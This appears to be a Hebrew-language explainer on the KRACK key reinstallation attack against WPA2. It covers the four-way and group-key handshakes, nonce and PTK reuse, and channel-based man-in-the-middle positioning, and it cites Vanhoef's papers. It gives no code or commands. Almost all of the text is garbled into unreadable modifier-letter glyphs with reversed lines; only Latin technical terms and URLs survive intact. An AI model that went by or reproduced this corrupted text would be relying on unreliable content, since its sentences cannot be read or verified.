ˢ ˫˰ ˶ˣˡ˧˷˪-PTK .˪"ˮˢ 

 ˶ˣˬˠ ˶ˡ˯˟ˬ ˶˸ˣ˧ ˣ˪˧˲˞˷ ˢ˞˶ˮ ,˶ˣˬˠ ˶ˡ˯˟ ˭˧˧ˡ˰ ˪˩ˢ ˭˞˩ ˡ˰-  ˡˡˣˬ˸ˢ˪ ˡ˰ˣˮ˷ ˪ˣ˵ˣ˦ˣ˶˲˟ ˶˟ˣˡˬ ˭˩˞

.˸˧˸˧˧˰˟ ˢ˦˧˪˵ ˪˷ ˫˧˶˵ˬ ˫˰ 

 ˟˪˷ ˸˞ ˶ˡ˷ˬ ˟˸ˮˢ ˣ˟˷ ,ˢˤˢ ˶ˣ˲˞ˢ ˶ˣˤ˧˞˟ ˵ˣ˧ˡ˟ ?˨˟˸˯ˢ˪ ˫˧˪˧˥˸ˬ ˫˧˶˟ˡˢ ˢ˲˧˞ ˤ˞3  ˞˪ ˨˞

 ˟˪˷ ˪˷ ˶ˣ˷˧˞ˢ ˸˪˧˟˥ ˸˞ ˪˟˵ˬ4 ˢˤˬ ˶˸ˣ˧ ˣ˞ .-  ˟˪˷ ˪˷ ˶ˣˡ˧˷ˢ ˸˞ ˸˪˟˵ˬ ˢ˴˵ˢ ˸ˡˬ˰ ˣ˟ ˟˪˷˟

3  ˟˪˷ ˸˞ ˢ˥˪˷ ,ˣ˸ˣ˞ ˢ˪˟˧˵ ˶˟˩ ˞˧ˢ˷ ˸ˣ˶ˬ˪4ˢ ˸˞ ˢˮ˧˵˸ˢ ,-PTK  ˣ˟ ˸ˣ˷˰˪ ˢ˪˥ˢ ˣ˪˧˲˞ˣ

˷ˣˬ˧˷...(!) 

 ,˫˧ˮˣ˷ ˫˧˷ˣˬ˧ˬ ˦˰ˬ ˞˪˟ ˧˩ ˢ˪˧ˠˣ ˢˤˢ ˧˲˧˴˲˯ˢ ˢ˶˵ˬˢ ˪˰ ˵ˣ˧ˡ˟ ˪˩˸˯ˢ ˫˧˶˵ˣ˥ˢ ˡˬ˴ ,ˣˮ˪˷ ˶ˣ˲˧˯˟

ˢ ˸˞ ˣˮ˧˵˸ˢ ,˸ˣˮˣ˷ ˢ˴˵ ˸ˣˡˬ˰-PTK  ˟˪˷ ˪˷ ˢ˪˧˟˥ˢ ˸˞ ˣ˪˟˧˵ ˫ˢ˷ ˰ˠ˶˟3  ˢ˧ˢ ˢˬ˪ ˶˷˵ ˧˪˟

˞˟ ˶ˤˣ˥ ˷ˣˬ˧˷ˣ ˢˮ˵˸ˢ ˰˴˟˪ ˫ˢ˪ ˫ˣ˶ˠ˪ ˣ˪˩˧ ˫˧˶˵ˣ˥ˢ ˫˸ˣ˞ ,ˢˤ˩ ˢ˶˵ˬ˟ˣ .˫ˢ˪˷ ˟˴ˬˢˢ ˣ˸ˣ-PTK ,

 ˨˩˪ ˱˯ˣˮ˟ˣ-  ˪˷ ˢˮ˵˸ˢ ˪˩˟PTK ˢ ˪˷ ˪ˣ˥˸˧˞ ˰˴˟˸ˬ ˷ˡ˥-Counter  ˪˷ ˪ˣ˥˸˧˞ˢ ˶ˣ˦˵ˣ˪ ˶˟˰ˣˬˢ

.ˢˮ˲˴ˢˢ ˪ˣ˵ˣ˦ˣ˶˲  :ˣ˧˷˩˰ ˡ˰ ˣˮˡˬ˪˷ ˢˬ ˪˩ ˸˞ ˡˠˣˮ˷ ˢˬ ˣ˸ˣ˞˟ ˶ˤˣ˥ ˷ˣˬ˧˷ ˰˴˟˪ ˶ˣ˯˞PTK ! ˧ˮ˲ˬ

ˢ ˧˶˲˯ˬ ˫˸ˣ˞ ˪˷ ˶ˤˣ˥ ˷ˣˬ˧˷ ˰˴˟˸ˬ ˤ˞˷-Nonce ˥˸˲ˬ ˪˷ ˢˮ˵˸ˢ ,˶ˣˬ˞˩ˣ) !PTK ˢ ˸˞ ˸˯˲˞ˬ-

Counter (!˪ˠ˪ˠ˸ˬˢ 

 ˶˟˩ ˭˞˩ˬ˷ ˣ˞˶ˢ ˫˧˶˵ˣ˥ ˫˸ˣ˞ ˨˞ ,ˢˮ˲˴ˢ˟ ˷ˣˬ˧˷ˢ ˢ˷˰ˮ ˣ˟˷ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˢˬ ˧ˣ˪˸ ˶˟˩ ,ˢˤˢ ˟˪˷˟

 ˪˷ ˡ˴ ˪˩ˬ ˸ˣ˪˧˟˥ ˱ˣ˧ˤ ,˶˟˰˟ ˣ˥˪˷ˮ˷ ˸ˣ˪˧˟˥ ˪˷ ˸˶ˤˣ˥ ˢ˥˧˪˷ ˭ˣˠ˩ ,˫˧˧˞˶ˣˮ ˡˣ˞ˬ ˫˧˶˟ˡ ˰˴˟˪ ˭˸˧ˮ

ˣ ˢ˥˧˷ˢ˸˶ˣ˷˵˸ˢ ˨ˣˣ˸ ˪˪˩ ˪˷ ˞˪ˬ ˥ˣˮ˰˲ ˱˞. 
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ˮ ˢˡˣ˵ˮ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˭˵˸˟ ˸ˣˡˬˣ˰ ˞˪˷ ˸ˣ˧ˮ˶˴˧ ˶˲˯ˬ ˷˧ ˧˩ ˣ˞˶ ˫˧˶˵ˣ˥ˢ ˫˸ˣ˞˷ ˞˧ˢ ˸ˮ˧˧ˮ˰ˬ ˸˲˯ˣ- 

 ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˸ˬˠˣˡ˩ .ˢ˲˵˸ˬ˪ ˸ˣ˲ˣ˷˥ ˭ˮ˧˞ ˭˩˪ˣWindows  ˪˷Microsoft x-iOS  ˪˷Apple ˢˤ˷ .

.ˣˬ˴˰˟ ˫˧ˢˡˬ ˧ˡ ˭ˣ˸ˮ 

 ˪˰ˣ˲˟ ˨˞ ,ˢ˲˵˸ˬˢ ˪˰ ˶˟˯ˢˢ ˶ˬˠˮ ˧˸˶ˣ˞˸ ˭˲ˣ˞˟ ˭˞˩-  ˶˲˯ˬ ˡˣ˰ ˫˧ˬ˧˧˵ ˶˟ˠ˸ˢ˪ ˣˮ˧˪˰˷ ˫˧˪ˣ˷˩ˬ

 ˢ˵˧˦˵˶˲˪ ˨˶ˡ˟ ˢˢ˧ˤ ˫˧˶˵ˣ˥ˢ ˡˬ˴˷ ˫˧˪ˣ˷˩ˬ ˧ˮ˷ .ˢ˲˵˸ˬˢ ˸˞ ˪˰ˣ˲˪ ˞˧˴ˣˢ˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟ ˫ˢ˧˪˰

:˫ˢ 

¶  ˪˷ ˟˴ˬ˟ ˸ˣ˧ˢ˪ ˣˮ˧˪˰ ,ˢ˲˵˸ˬˢ ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰MiTM  ˪˰ˣ˲˟ ˨˞ ,˟˸ˮ˪ ˢ˴˵ˢ ˸ˡˬ˰ ˭˧˟ ˞˪ˬ

 ˸˷˶ ˫˯˶˲˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞Wireless  ˸˟ˣ˸˩ˣ ˢˢˤ ˫˷ ˫˰MAC ˟) ˢˮˣ˷ ˸˞ ˪˟˵˪ ˢ˶˦ˬ

 ˸˴˧˥˪ ˪˷ ˧ˮ˷ˢ ˟˪˷ˢ ˸˰˟˷ ˪˪ˠ˟ ˸˞ˤˣ ,(˧ˮ˷ˢ ˡ˴ˢ ˫˷˟ ˫˧ˡˡ˴ˢˬ ˡ˥˞ ˪˩˪ ˭˶ˡ˷˪ˣ ˸ˣ˪˧˟˥ˢ

ˢ ˸˟ˣ˸˩˟ ˫˧˷ˬ˸˷ˬ ˟˸ˮˢˣ ˢ˴˵ˢ ˸ˡˬ˰ ˡ˧ˢ-MAC ˢ ˸˞ ˶˴˧˧˪ ˧ˡ˩ ˢ˧˧ˮ˷ˢ ˪˷ ˡ˥˞-PTK ˢˡ˧ˬ˟ .

 ˸˷˶ ˫˯˶˲ˮˣWireless  ˸˟ˣ˸˩ ˫˰ ˟˸ˮ ˨ˣ˸ˬMAC  ˢˮˣ˷- .ˡˣ˟˰˸ ˞˪ ˡ˰˧ˢ ˸˴˧˥˪ ˸˰˟ ˢˤ ˟˪˷ 

¶ ˟ ˟˪˷ ˧˶˥˞ ˸ˣ˥˸˲ˬˢ ˸˞ ˣˮ˧˵˸ˢ ˢ˴˵ˢ ˸ˣˡˬ˰ˬ ˵˪˥˷ ˰ˠ˶ˬ˷ ˶˶˟˸ˢ ,˶˵˥ˬˢ ˸˰4 ˞˪ ˫ˢ ,

 ˣˬ˩ ˞˪˷) ˣˬ˪˰˸ˢ ˫ˢ˷ ˞˴˧ ˪˰ˣ˲˟ˣ ,˭˲˴ˣˬ ˞˪ ˨ˣˣ˸ ˧˟ˠ ˪˰ ˣ˥˪˷ˮ˷ ˸ˣ˪˧˟˥˪ ˶˸ˣ˧ ˯˥˧˧˸ˢ˪ ˣˬ˧˩˯ˢ

 ˟˪˷ ˸ˣ˪˧˟˥" ˭˸ˣ˞ˬ (˭˵˸˟3˪˰ ˟ˣ˷ˣ ˟ˣ˷ ˣ˥˪˷ˮ˷ "-.˫˧˶˵ˣ˥ˢ ˧ˡ˧ 

 ,ˢ˲˵˸ˬˢ ˸˞ ˪˰ˣ˲˪ ˞˧˴ˣˢ˪ ˸ˮˬ ˪˰ ˤ˞ .˪"ˮˢ ˫˧˪ˣ˷˩ˬˢ ˧ˮ˷ ˪˰ ˶˟ˠ˸ˢ˪ ˸ˣ˯ˮ˪ ˳˪˞ˮ ˫˧˶˵ˣ˥ˢ ˫˸ˣ˞

˧˸˸ ˶˲˯ˬ ˡˣ˰ ˣ˥˸ˣ˲ ,˪"ˮˢ ˫˧˪ˣ˷˩ˬˢ ˫˰ ˸ˣˡˡˣˬ˸ˢ ˭ˣ˧˯˧ˮ ˣ˸ˣ˞ˬ ˵˪˥˩- ˸ˣ˶˷˲˞ˬ ˪˰ˣ˲˟˷ ˸ˣ˲˵˸ˬ

ˢ ˸˞ ˰˴˟˪-Reinstallation ˟ ˶ˤˣ˥ ˷ˣˬ˧˷˪ ˫ˣ˶ˠ˸˷-PTK ˣ˲˶˴ ˫˧˶˵ˣ˥ˢ ˶˵˥ˬˢ ˸˞ ˡ˰˸ˬˢ ˨ˬ˯ˬ˟ ,

ˣ˰˧ˠ˲ ˢ˴˵ ˸ˣˡˬ˰ ˣ˪˧˞ ˢˠ˧˴ˬ˷ ˢ˪˟˦˸˸ ˪˷ ˠˣ˯ ˢˤ˧˞˪ ˸-:ˢ˲˵˸ˬ 

 
 :˶ˣ˵ˬ]https://papers.mathyvanhoef.com/ccs2017.pdf[ 

ǒ  ˢˡˣˬ˰2  ˟˪˷ ˸ˣ˪˧˟˥˪ ˸˯˥˧˧˸ˬ ˢ˴˵ ˸ˣˡˬ˰ˬ ˧ˬ ˢˠ˧˴ˬ ˢ˪˟˦˟3 .˸˥˞ ˫˰˲ˬ ˶˸ˣ˧ ˸ˣ˥˪˷ˮ˷ 

ǒ  ˢˡˣˬ˰3  ˥˸˲ˬ ˭˧˵˸ˢ˪ ˸ˣˮ˩ˣˬ ˢ˴˵ˢ ˸ˣˡˬ˰ˬ ˧ˬ ˢˠ˧˴ˬ ˢ˪˟˦˟PTK  ˭˲˴ˣˬ ˞˪ ˭˲ˣ˞˟ ˥˪˷ˮ˷

 ˟˪˷˪ ˶˟˩ ˣ˰˧ˠˢ˷ ˶˥˞˪4  ˥˸˲ˬ ˶˟˩ ˣˮ˧˵˸ˢˣ)PTK.( 

https://papers.mathyvanhoef.com/ccs2017.pdf
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 ˶˲˯ˬ ˢ˪˧˟˥ ˸˪˟˵˟ ˸ˣ˩ˬˣ˸ ˶˷˞ ˢ˴˵ ˸ˣˡˬ˰ ˡˠˮ˩ ˢ˲˵˸ˬˢ ˰ˣ˴˧˟3  ˶˥˞˪ ˫ˠ ˸ˣˮ˲˴ˣˬ ˭ˮ˧˞˷

 ˣˮ˧˵˸ˢ˷PTK  ˪˷ ˶ˣˡ˧˷ˢ ˸˞ ˫ˣ˯˥˪ ˱˵ˣ˸˪ ˵˧˲˯ˬ˷ ˭ˣˣ˧˩ˬ ˸˞ˤ .˰ˣ˴˧˟˪ ˶˸ˣ˧˟ ˢ˦ˣ˷˲ˢ ˢ˲˵˸ˬˢ ˞˧ˢ

 ˶˲˯ˬ ˢ˪˧˟˥4  ˪ˣ˩˧ ˡ˧ˬ˸ ˞ˣˢ ,˱˯ˣˮ˟ .ˢ˪ˣ˰˲˪ ˸˞˴˪ ˢ˪ ˫ˣ˶ˠ˪ ˧ˡ˩˟ ˟˸ˮ˪ ˢ˴˵ˢ ˸ˡˬ˰ˬ ˢ˥˪˷ˮ˷

 ˰˴˟˪Deauthentication Attack ˢ ˨˧˪ˢ˸ ˸˞ ˪˧˥˸ˢ˪ ˢ˴˵ˢ ˸ˡˬ˰˪ ˫ˣ˶ˠ˪ ˸ˮˬ ˪˰-Association 

.ˢ˪˥˸ˢˬ 

˸ˬ˧˯˥  ˶˲˯ˬ ˢ˪˧˟˥ ˪˷ ˶ˣˡ˧˷ˢ4  ˸ˡˬ˰˟ ˫˧˞˴ˬˮ ˞˪ ˶˷˞˩ ˢ˦ˣ˷˲ ˞˪ ˨˞ ,˸˧˶˷˲˞ ˞˧ˢMiTM ˪˰ .

 ˫˧˰˴˟ˬ ,˞˪ˬ ˭˲ˣ˞˟ ˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬChannel-based MiTM Attack:˞˟ˢ ˭˲ˣ˞˟ ˸˩˪ˣˢ ˞˧ˢˣ , 

1. ˢ ˸˞ ˠ˧˷ˢ˪ ˣˮ˧˪˰ ,˸˧˷˞˶-SSID ˢ ˪˷-Wireless  ˣˮ˧˪˰ ,ˢˤ ˭ˣ˸ˮ˪ ˶˟˰ˬ .˶˟ˣ˥ˬ ˣˮ˪˷ ˭˟˶ˣ˵ˢ ˢ˧˪˞˷

˸˥˸ ˶˶˟˪  ˧ˡ˶˷ˬ ˪˷ ˫˧ˮ˵˸ˢ ˧˲˪ ˸ˣˮ˧ˡˬ ˭˧˟ ˢˮ˸˷ˬ ˪"ˮˢ ˭ˣ˸ˮˢ) ˸˶ˡˣ˷ˬ ˸˷˶ˢ ˳ˣ˶˰ ˢˤ˧˞

 ˫˧ˬ˧˧˵ ˧ˮ˩˦ ˭˲ˣ˞˟ ˨˞ .˸˶ˣ˷˵˸ˢ14 (˶˥˞ ˫˧˶ˡ˸ ˨ˣˣ˸˟ ˶ˡ˷ˬ ˳ˣ˶˰ ˪˩ˣ ˫˧ˮˣ˷ ˫˧˴ˣ˶˰ 

2.  ˰˴˟˪ ˣˮ˧˪˰ ,˭˩ˬ ˶˥˞˪Retransmit ˢ ˸˷˶ ˪˷-Wireless  ˧˶ˣ˵ˬˢ ˶ˡ˸ˢˬ ˶˥˞ ˶ˡ˸ ˪˰ ˸˲˵˸ˮˢ

˯ˬ ˢˬ˴ˣ˰˟ ˷˰˶ ˶ˡ˷˪ ˪˧˟˵ˬ˟ˣ.˸˷˶ˢ ˸˶ˡˣ˷ˬ ˣ˟ ˧˶ˣ˵ˬˢ ˳ˣ˶˰ˢ ˪˰ ˢ˵ˤ˥ ˵˧˲ 

3.  ˳ˣ˶˰ˢ ˸˥˸ ˫˧ˬ˯˶˲ˬ ˣˮ˞˷ ˸˷˶˪ ˶˟˥˸ˢ˪ ˢ˯ˮ˸ˣ ˳ˣ˶˰˟ ˷˰˶ˢ ˸˞ ˢˢˤ˸ ˢ˴˵ˢ ˸ˡˬ˰ ˢˤ ˟˪˷˟

 ˢ˶ˣ˵ ˢˤ˷ ˰ˠ˶˟ .˷ˡ˥ˢ-  ˸˞ ˶˯ˬˬ˪ ˢˤ ˳ˣ˶˰ ˧˟ˠ ˪˰ˣ ˧˶ˣ˵ˬˢ ˳ˣ˶˰˟ ˷˰˶ˢ ˸˞ ˵˧˯˲ˢ˪ ˪˩ˣˮ

.ˢ˴˵ˢ ˸ˡˬ˰ ˪˷ ˸˶ˣˡ˷˸ˢ 

4. ˥ ˢˬ˴ˣ˰˟ ˸˷˶ˢ ˸˞ ˶ˡ˷ˮ˷ ˟ˣ˷˥ ˢˤ ˟˪˷˟ ˨˩˟ˣ ˸˧˶ˣ˵ˬˢ ˸˷˶ˢ ˸˞ ˶ˡ˷ˬ˷ ˟˸ˮˢˬ ˶˸ˣ˧ ˢ˵ˤ

.ˣˮ˧˪˞ ˸˶˟ˣ˥ˬ ˢ˴˵ˢ ˸ˡˬ˰ ˪˰ ˶ˣˬ˷˪ ˥˧˦˟ˮ 

5.  ˪˰ ˶˸ˣ˧ ˸˴˵ ˞ˣ˶˵˪ ˭˧˧ˮˣ˰ˬ˷ ˧ˬChannel-based MiTM Attack  ˞˷ˣˮˢ ˪˰ ˶˵˥ˬˢ ˸˞ ˞ˣ˶˵˪ ˭ˬˤˣˬ

 ˸ˮ˷˟ ˫˧˶˵ˣ˥ ˡˬ˴ ˣ˸ˣ˞ ˣ˟˸˩˷2015 " :˸˶˸ˣ˩ˢ ˸˥˸ ˣˬ˯˶˲ˣAdvanced Wi-Fi Attacks Using 

Commodity Hardware:" 

https://distrinet.cs.kuleuven.be/news/2015/AdvancedWiFiAttacksUsingCommodityHardware.pdf 

 ˞˪ ˢ˪ ˫ˣ˶ˠ˪ ˡˣ˞ˬ ˪˵ ˣˮ˪ ˢ˧ˢ˧ ,˸˧˶ˣ˵ˬˢ ˸˷˶ˢ ˪˞ ˣˮ˩˶ˡ ˶˟˥˸ˢ˪ ˢ˯ˮˬ ˢ˴˵ˢ ˸ˡˬ˰˷ ˰ˠ˶˟ ,˸˰˩

 ˶˲˯ˬ ˢ˪˧˟˥ ˸˞ ˶ˡ˷˪4  ˟˪˷ ˸˞ ˢˬ˧˧˯ ˞˧ˢ ˡ˥˞ ˟˴ˬ˷ ˟˴ˬ˪ ˰˧ˠˢ˪ ˨˩˟ˣ3 -  ˰˧ˮˬ ˭˧˞ ˢ˸ˮ˧˥˟ˬ ˭˩˪ˣ

ˢ ˸˞ ˭˧˵˸ˢ˪ˬ-PTKˢ ˸˞ ˪˟˵ˬ ˞˪ ˟˸ˮˢ ˧ˮ˷ ˡ˴ˬˣ ,-Ack ˢ ˸˞ ˸˧˷˧˪˷ˣ ˸˧ˮ˷ ˥ˣ˪˷˪ ˢ˯ˮ˧ ˭˩˪ˣ ˢ˪˧˟˥

 ˟˪˷ ˪˷3. 

  

https://distrinet.cs.kuleuven.be/news/2015/AdvancedWiFiAttacksUsingCommodityHardware.pdf
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:˸˧˸ˬ˩˯ ˢ˶ˣ˴˟ ˸˧˞˶ˮ ˢ˲˵˸ˬˢ ˨˩ˣ 

 

 :˶ˣ˵ˬ]https://papers.mathyvanhoef.com/ccs2017.pdf[ 

 ˟˪˷ ˶ˬˠ˟˷ ˟˪ ˣˬ˧˷1  ˶˲˯ˬ ˢ˪˧˟˥4  ˸˰˴˟ˬˢ ˢˡˬ˰˪ ˢ˰˧ˠˬMiTM  ,˧˶ˣ˵ˬˢ ˟˸ˮ˪ ˸˥˪˷ˮ ˞˪ ˨˞

 ˟˪˷˟ ˟˸ˮˢ ˭˩˪ˣ3  ˢ˪˧˟˥ˢ ˸˞ ˸˧ˮ˷ ˥ˣ˪˷˪3  ,(ˢ˴˵ˢ ˸ˡˬ˰˪ ˱˵ˣ˸ˢ ˸ˡˬ˰ ˨˶ˡ ˸˶˟˰ˣˬ ˭˩ ˢ˶ˣ˸˟˷)

 ˣ˸ˣ˞ ˫˰ ˢ˧ˮ˷ˢ ˫˰˲˟ ˶ˣˡ˧˷˪ ˸˞˴˪ ˢ˴˵ˢ ˸ˡˬ˰˪ ˫˶ˣˠ˷ ˢˬPTK  ˟˪˷˟5  ˣ˸ˣ˞ ˫˰ ˢ˷˰ˮ ˶ˣˡ˧˷ˢ)

PTK  ˟˪˷˟ ˥˪˷ˮ˷2.( 

ˣˬ ˢ˴˵ˢ ˸ˡˬ˰ ,˸˧˯˥˧ ˦ˣ˷˲ ˭˧˧ˡ˰ ˪˩ˢ ,˭˞˩ ˡ˰ ˢˮ˧˵˸ˢ˷ ˶˥˞˪ ˫ˠ ˸ˣˮ˲˴ˣˬ ˭ˮ˧˞˷ ˸ˣ˪˧˟˥ ˪˟˵˪ ˢˮ˩

ˢ ˸˞-PTK ˶˲˯ˬ ˢ˪˧˟˥ ˸˞ ˪˟˵˪ ˸ˣˮ˩ˣˬ ˣ˧ˢ˧ ˞˪˷ ˸ˣˡˬ˰ ˸˲˧˵˸ ˶˟ˡ˟ ˢˬ ˨˞ ,3  ˭˲ˣ˞˟ ˸ˣ˥˪˷ˮ ˶˷˞

ˢ ˸ˮ˵˸ˢ ˰ˠ˶ˬ ˭˲˴ˣˬ ˣˮ˧˞˷-PTK? 

 ˠˣ˯ˬ ,˱˯ˣˮ ˪˷˩ ˢ˪˧ˠ ˫˧˶˵ˣ˥ˢ ˡˬ˴ ˢˤ˩ ˢ˶˵ˬ˟Race Condition ˢ˴˵ˢ ˸ˡˬ˰ ˪˷ ˸˷˶ˢ ˯˧˦˶˩ ˭˧˟ ,

ˢ ˭˧˟ˣ-CPU  ˷ˬˬ˪ ˱˵ˣ˸ˢ ˪˰ ˢ˪˞˩ ˸ˣˡˬ˰ ˱ˣ˵˸˪ ˸ˮˬ ˪˰ .ˢ˪˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷Channel-based 

MiTM  ˶˲˯ˬ ˢ˪˧˟˥ ˸˞ ˸˥˪ˣ˷ ˢ˴˵ˢ ˸ˡˬ˰˷ ˶˥˞˪ ,˫˰˲ˢ˷ ˵˶ ,˸ˬˡ˵ˣˢ ˢ˲˵˸ˬ˟ ˣˬ˩ ˵ˣ˧ˡ˟2 

https://papers.mathyvanhoef.com/ccs2017.pdf
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ˢ ˫˰) ˟˸ˮ˪-Nonce  ˶˲˯ˬ ˢ˪˧˟˥ ˸˞ ˥˪ˣ˷ ˟˸ˮˢˣ ,(ˢ˪˧˶ˠˢ˷3 ˸˞ ˢ˶˧˟˰ˬ ˢˮ˧˞ ˸˲˵ˣ˸ˢ ˢˡˬ˰ˢ ,

,ˢ˴˵ˢ ˸ˡˬ˰˪ ˢ˪˧˟˥ˢ  ˶˲˯ˬ ˢ˪˧˟˥ ˸˞ ˥˪˷˧ ˟˸ˮˢ˷ ˢ˩˥ˬ ˸˞ˤ ˫ˣ˵ˬ˟ˣ3  ˪˪ˠ˟ ˸˞ˤˣ) ˸˲˯ˣˮ ˫˰˲˟

ˢ ˸˞ ˪˟˧˵ ˞˪ ˞ˣˢ˷-Ack  ˶˲˯ˬ ˟˪˷ˬ4.( 

 ˶˲˯ˬ ˢ˪˧˟˥ ˪˷ ˢ˧ˮ˷ ˸˶ˣˡ˷˸ ˢˢˤˬ ˸˲˵ˣ˸ˢ ˢˡˬ˰ˢ˷ ˰ˠ˶˟3  ˢˡˬ˰˪ ˢ˶˧˟˰ˬ ˞˧ˢ ,˟˸ˮˢ ˟˴ˬ

˧ ˸˷˶ˢ ˯˧˦˶˩ ˧˩ ˭˧˥˟ˢ ˫˧˶˵ˣ˥ˢ ˡˬ˴ ,ˢˤ˩ ˢ˶˵ˬ˟ˣ ,˪˧˟˵ˬ˟ ˸ˣ˪˧˟˥ˢ ˧˸˷ ˸˞ ˸˲˵˸ˮˢ ˧˸˷ ˸˞ ˪˟˵

 ˢ˰˧ˠˢ ˢ˧˧ˮ˷ˢ ˢ˪˧˟˥ˢ˷ ˧ˮ˲ˬ ˸˞ˤˣ ,˸ˣ˪˧˟˥ˢ ˢ˪˧˟˥ ˸˞ ˥˸ˮ˪ ˢˬ˧˧˯ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˧ˮ˲˪3 

ˢˮˣ˷˞˶ˢ ˢ ˥˸˲ˬ ˸˞ ˭˧˵ˢ˪ ˢ˸˶ˣˢˣ-PTK ˪"ˮˢ ˥˸˲ˬ˟ ˷ˬ˸˷˸ ˢ˴˵ˢ ˸ˡˬ˰˷ ˢˤ ˸˰˩ ˢ˶˵˧˷ ˢˬˣ ,

 ˢ˪˧˟˥ ˸˞ ˸˷˶ˢ ˯˧˦˶˩ˬ ˪˟˵˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˭ˬˤ˟3  ˫˰˷ ˢ˥˧ˮˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ .ˢ˧˧ˮ˷ˢ

˯˧˦˶˩  ˸˧˦ˮˣˣ˪˶ ˪˞˩ ˢ˧˪˞ ˯˥˧˧˸˸ ˭˩˪ˣ ˢˬ˧˞˸ˬ ˢ˶ˣ˴˟ ˸ˮ˲˴ˣˬ ˞˧ˢ ˢ˪˧˟˥ˢ ˸˞ ˢ˪ ˶˧˟˰ˢ ˸˷˶ˢ

ˢ ˸˞ ˶˧˯ˢ˪ ˢ˶ˣ˸ˣ-PTK  ˣ˸ˣ˞˟ ˫˧˷ˬ˸˷ˬ ˣ˟˷ ˟˴ˬ ˶ˣ˴˧˷ ˢˬ .˷ˡ˥ˬ ˣˮ˧˵˸ˢ˪ˣ ˧˶ˣ˵ˬˢPTK  ˨˩ ,˷ˡ˥ˬ

 ˫˸ˣ˞˟ ˷ˣˬ˧˷ ˢ˧ˢ˧ ˫˰˲ ˟ˣ˷˷Nonce-.˫˧˶˶ˣ˯ ˫˧ 

:˧˸ˬ˩˯ ˭˲ˣ˞˟ ˸˧˞˶ˮ ˢ˲˧˵˸ˢ ˨˩ˣ 

 

 :˶ˣ˵ˬ]https://papers.mathyvanhoef.com/ccs2017.pdf[ 

https://papers.mathyvanhoef.com/ccs2017.pdf
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 ˸˪˧˟˥ ˸˥˧˪˷˪ ˯˥˧˟ ˸ˣ˥˸˲ˬˢ ˸ˮ˵˸ˢ ˭ˬˤ˪ ˸˯˥˧˧˸ˬˢ) ˸˲˯ˣˮ ˸ˣ˲˰˸˯ˢ ˷˧ ˣˤ ˢ˲˵ˬ˪˷ ˭˧˧˴˪ ˟ˣ˷˥

-sGTKˢ ˭ˣˮˠˮˬ ˸˞ ˭˧˟ˮ ˞˟ˢ ˵˪˥˟ ,ˢˤ ˟˪˷˟ ˭ˢ˧˪˰ ˣˮ˟˥˶ˢ ˞˪ ˢˮˣˣ˩˟ ,-GTK  ˸˟ˣ˦˪ ˣ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ˣ

.(˸˷˶ˢ ˸˲˧˵˸ 

 

ˢ ˸˲˧˵˸-Group Key Handshake 

ˢ ˭ˣˮˠˮˬ˟ ˸ˬ˧˧˵ˢ ˢ˷˪ˣ˥ˢ ˪˰ ˣˮ˶˟˧ˡ ˢ˩ ˡ˰-4Way Handshake ˢˢˤ ˭ˣˮˠˮˬ ˧˩ ˢ˪˧ˠ ˫˧˶˵ˣ˥ˢ ˡˬ˴ ˨˞ ,

˟ ˸ˣ˥˧˷˪ ˸ˣ˥˸˲ˬˢ ˸˥˧˪˷˪ ˧˞˶˥˞ ˶˷˞ ˫ˤ˧ˮ˩ˬ˟ ˫ˠ ˫˧˧˵-Broadcast ,ˢˤ ˞˷ˣˮ ˪˰ ˦˶˲ˮ˷ ˧ˮ˲˪ ˨˞ .

˭˧˟ˮ˷ ˟ˣ˷˥ .˪˰ˣ˲ ˞ˣˢ ˡ˴˧˩ˣ ˪"ˮˢ ˭ˣˮˠˮˬˢ ˸˞ ˨˧˶˴ ˪˪˩˟ ˢˬ˪ 

 ˭˵˸ˢ ,ˣˮˡˬ˪˷ ˣˬ˩802.1x  ˣˬ˩ˣ .˪˷˩ ˪˧ˠ˶ˢ ˭˵˸ˢ ˭ˢ˟˷ ˢ˴˵ˢ ˸ˣˡˬ˰ ˪˰ ˸ˣˮˠˢ ˶˲˯ˬ ˣ˸˧˞ ˞˧˟ˬ

 ˸ˣ˥˸˲ˬ ˸˶ˤ˰˟ ˟˸ˮˢ ˭˧˟˪ ˢ˴˵ˢ ˸ˣˡˬ˰ ˪˪˩ ˭˧˟ ˸ˣ˥˧˷ˢ ˸ˡ˶˲ˢ ˞˧ˢ ˸ˣˮˠˢ ˭˸ˣ˞ˬ ˸˥˞ ,ˣˮ˧˞˶˷

 .ˢˮˣ˷ ˸ˣ˥˸˲ˬ ˦˯˟ ˟˸ˮˢ ˫˰ ˸˶˟ˡˬ ˢ˴˵ ˸ˡˬ˰ ˪˩ ˪˰ˣ˲˟˷ ˨˩ ,˫˧ˮˣ˷ 

˧ ˥ˣ˦˟ ˫ˣ˵ˬ˪ ˣˮ˪˷ ˢ˟˧˟˯ˢ ˸˞ ˸˩˲ˣˢ ˭˩˞ ˣˤ ˢˮˠˢ ˸˟˩˷ ˢˮ˧˵˸ ˢ˶ˣ˴˟ ˪ˢˮ˸˸ ˸˷˶ˢ˷ ˧ˡ˩ ˨˞ ,˶˸ˣ

 ˭ˮ˧˞˷ ˸ˣ˪˧˟˥ ˫˰˲ ˧ˡˬ ˶ˡ˷˪ ˣˮ˧˪˰Unicast  ˸ˣ˪˧˟˥ ˸ˬˠˣˡ˩ ,˟˸ˮˢ ˪ˣˬ ˪˞DHCP ˸ˣ˪˧˟˥ ,ARP x-

NBNS˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˣ˸˶ˠ˯ˬ˟˷ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˣ˞ ˸ˣ˪˧˟˥ ,-Broadcast/Multicast  ˶˟˰ ˪˞ ˸˥˞ ˢˡˬ˰ˬ

